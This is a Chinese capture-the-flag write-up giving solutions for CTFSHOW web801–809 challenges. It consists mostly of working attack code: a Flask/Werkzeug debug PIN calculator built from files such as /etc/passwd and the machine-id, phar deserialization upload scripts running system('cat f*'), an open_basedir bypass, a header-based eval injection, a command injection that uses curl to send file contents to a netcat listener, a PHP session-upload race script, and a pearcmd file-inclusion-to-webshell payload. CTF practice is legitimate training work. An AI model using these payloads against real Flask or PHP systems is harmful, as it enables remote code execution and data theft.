群主在视频里面已经讲解的很清楚了,下面内容有些简略,就当补充下payload了。
- CTFSHOW 常用姿势篇
- web801
- web802
- web803
- web804
- web805
- web806
- web807
- web808
- web809
- web809
非预期解:直接读flag
/file?filename=/flag
预期解:计算PIN码
新版的计算方式发生了一些变化
probably_public_bits包含4个字段,分别为
username
modname
getattr(app, 'name', app.class.name)
getattr(mod, 'file', None)
其中username对应的值为当前主机的用户名
linux可以查看/etc/passwd
windows可以查看C:/Users目录
modname的值为'flask.app'
getattr(app, 'name', app.class.name)对应的值为'Flask'
getattr(mod, 'file', None)对应的值为app包的绝对路径
private_bits包含两个字段,分别为
str(uuid.getnode())
get_machine_id()
其中str(uuid.getnode())为网卡mac地址的十进制值
在inux系统下得到存储位置为/sys/class/net/(对应网卡)/address 一般为eth0
windows中cmd执行config /all查看
get_machine_id()的值为当前机器唯一的机器码
对于非docker机每一个机器都会有自已唯一的id,linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_id
docker机则读取/proc/self/cgroup。
windows的id在注册表中 (HKEY_LOCAL_MACHINE->SOFTWARE->Microsoft->Cryptography)
新版的代码有些变化,旧版的是下面的
import hashlib
import getpass
from flask import Flask
from itertools import chain
import sys
import uuid
username=getpass.getuser()
app = Flask(__name__)
modname=getattr(app, "__module__", app.__class__.__module__)
mod = sys.modules.get(modname)
probably_public_bits = [
username, #用户名 一般为root或者读下/etc/passwd
modname, #一般固定为flask.app
getattr(app, "__name__", app.__class__.__name__), #固定,一般为Flask
getattr(mod, "__file__", None), #flask库下app.py的绝对路径,可以通过报错信息得到
]
mac ='02:42:ac:0c:ac:28'.replace(':','')
mac=str(int(mac,base=16))
private_bits = [
mac,
"机器码"
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")
cookie_name = "__wzd" + h.hexdigest()[:20]
# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num=None
if num is None:
h.update(b"pinsalt")
num = ("%09d" % int(h.hexdigest(), 16))[:9]
# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv=None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num
print(rv)
新版的如下:
import hashlib
import getpass
from flask import Flask
from itertools import chain
import sys
import uuid
import typing as t
username='root'
app = Flask(__name__)
modname=getattr(app, "__module__", t.cast(object, app).__class__.__module__)
mod=sys.modules.get(modname)
mod = getattr(mod, "__file__", None)
probably_public_bits = [
username, #用户名
modname, #一般固定为flask.app
getattr(app, "__name__", app.__class__.__name__), #固定,一般为Flask
'/usr/local/lib/python3.8/site-packages/flask/app.py', #主程序(app.py)运行的绝对路径
]
print(probably_public_bits)
mac ='02:42:ac:0c:ac:28'.replace(':','')
mac=str(int(mac,base=16))
private_bits = [
mac,#mac地址十进制
"机器码"
]
print(private_bits)
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")
cookie_name = f"__wzd{h.hexdigest()[:20]}"
# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]
# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv=None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num
print(rv)
需要填的值就一个变化的地方—机器码。
旧版的只需要读取/proc/self/cgroup即可,但是新增需要在前面再拼上/etc/machine-id或者/proc/sys/kernel/random/boot_id的值
web802之前写过一篇专门针对这类题型的文章
web803题目web目录下没有写权限,需要写到其他地方比如/tmp下
首先生成phar文件
$phar = new Phar("shell.phar");
$phar->startBuffering();
$phar -> setStub('GIF89a'.'');
$phar->addFromString("a.txt", "");
$phar->stopBuffering();
?>
接着上传文件
import requests
url="http://d4d6bb42-e30d-4ed7-b823-baa8ec7e8cc8.challenge.ctf.show/index.php"
data1={'file':'/tmp/a.phar','content':open('shell.phar','rb').read()}
data2={'file':'phar:///tmp/a.phar/a','content':'123','1':'system("cat f*");'}
requests.post(url,data=data1)
r=requests.post(url,data=data2)
print(r.text)
web804
生成phar文件
class hacker{
public $code;
public function __destruct(){
eval($this->code);
}
}
$a=new hacker();
$a->code="system('cat f*');";
$phar = new Phar("shell.phar");
$phar->startBuffering();
$phar->setMetadata($a);
$phar -> setStub('GIF89a'.'');
$phar->addFromString("a.txt", "");
$phar->stopBuffering();
?>
unlink触发反序列化
import requests
url="http://bf1f07fe-9a6c-4425-994b-7886f64b2923.challenge.ctf.show/index.php"
data1={'file':'/tmp/a.phar','content':open('shell.phar','rb').read()}
data2={'file':'phar:///tmp/a.phar','content':'123'}
requests.post(url,data=data1)
r=requests.post(url,data=data2)
print(r.text)
web805
这篇文章写的挺好的https://www.cnblogs.com/hookjoy/p/12846164.html
payload:
1=mkdir(yu);chdir(yu);
ini_set('open_basedir','..');
chdir('..');chdir('..');chdir('..');chdir('..');
ini_set('open_basedir','/');
var_dump(scandir('/'));
1=mkdir(yu);chdir(yu);
ini_set('open_basedir','..');
chdir('..');chdir('..');chdir('..');chdir('..');
ini_set('open_basedir','/');
readfile('/ctfshowflag');
web806
参考文章
https://blog.csdn.net/qq_45570082/article/details/106602261
payload:
?code=eval(current(getallheaders()));
X-Forwarded-For:system('cat /c*');//
web807
vps开启监听 nc -nlvp 4567
payload
?url=https://;curl http://url:4567?a=`cat /*`
web808
import requests
import threading
import sys
session=requests.session()
sess='yu22x'
url1="http://97ccc0d8-b608-44a0-970b-895263a76d15.challenge.ctf.show/"
url2='http://97ccc0d8-b608-44a0-970b-895263a76d15.challenge.ctf.show/?file=/tmp/sess_yu22x'
data1={
'PHP_SESSION_UPLOAD_PROGRESS':''
}
data2={
'1':'echo 11123;system("cat /*");',
}
file={
'file':'1'
}
cookies={
'PHPSESSID': sess
}
def write():
while True:
r = session.post(url1,data=data1,files=file,cookies=cookies)
def read():
while True:
r = session.post(url2,data=data2)
if '11123' in r.text:
print(r.text)
if __name__=="__main__":
event=threading.Event()
with requests.session() as session:
for i in range(1,30):
threading.Thread(target=write).start()
for i in range(1,30):
threading.Thread(target=read).start()
event.set()
能不能出来看运气了,半夜估计会好点。
。
。
。
。
参考文章https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html
payload:
?file=/usr/local/lib/php/pearcmd.php&+config-create+/=eval($_POST[1]);?>+/tmp/a.txt
?file=/tmp/a.txt
1=system('cat /*');
记得用bp,因为hackbar可能会url编码。
工具下载地址https://github.com/tarunkant/Gopherus
打fastcgi用法:
python gopherus.py --exploit fastcgi
最后将生成的payload下划线后面的url编码,也即gopher://127.0.0.1:9000/_后面的全部url编码。
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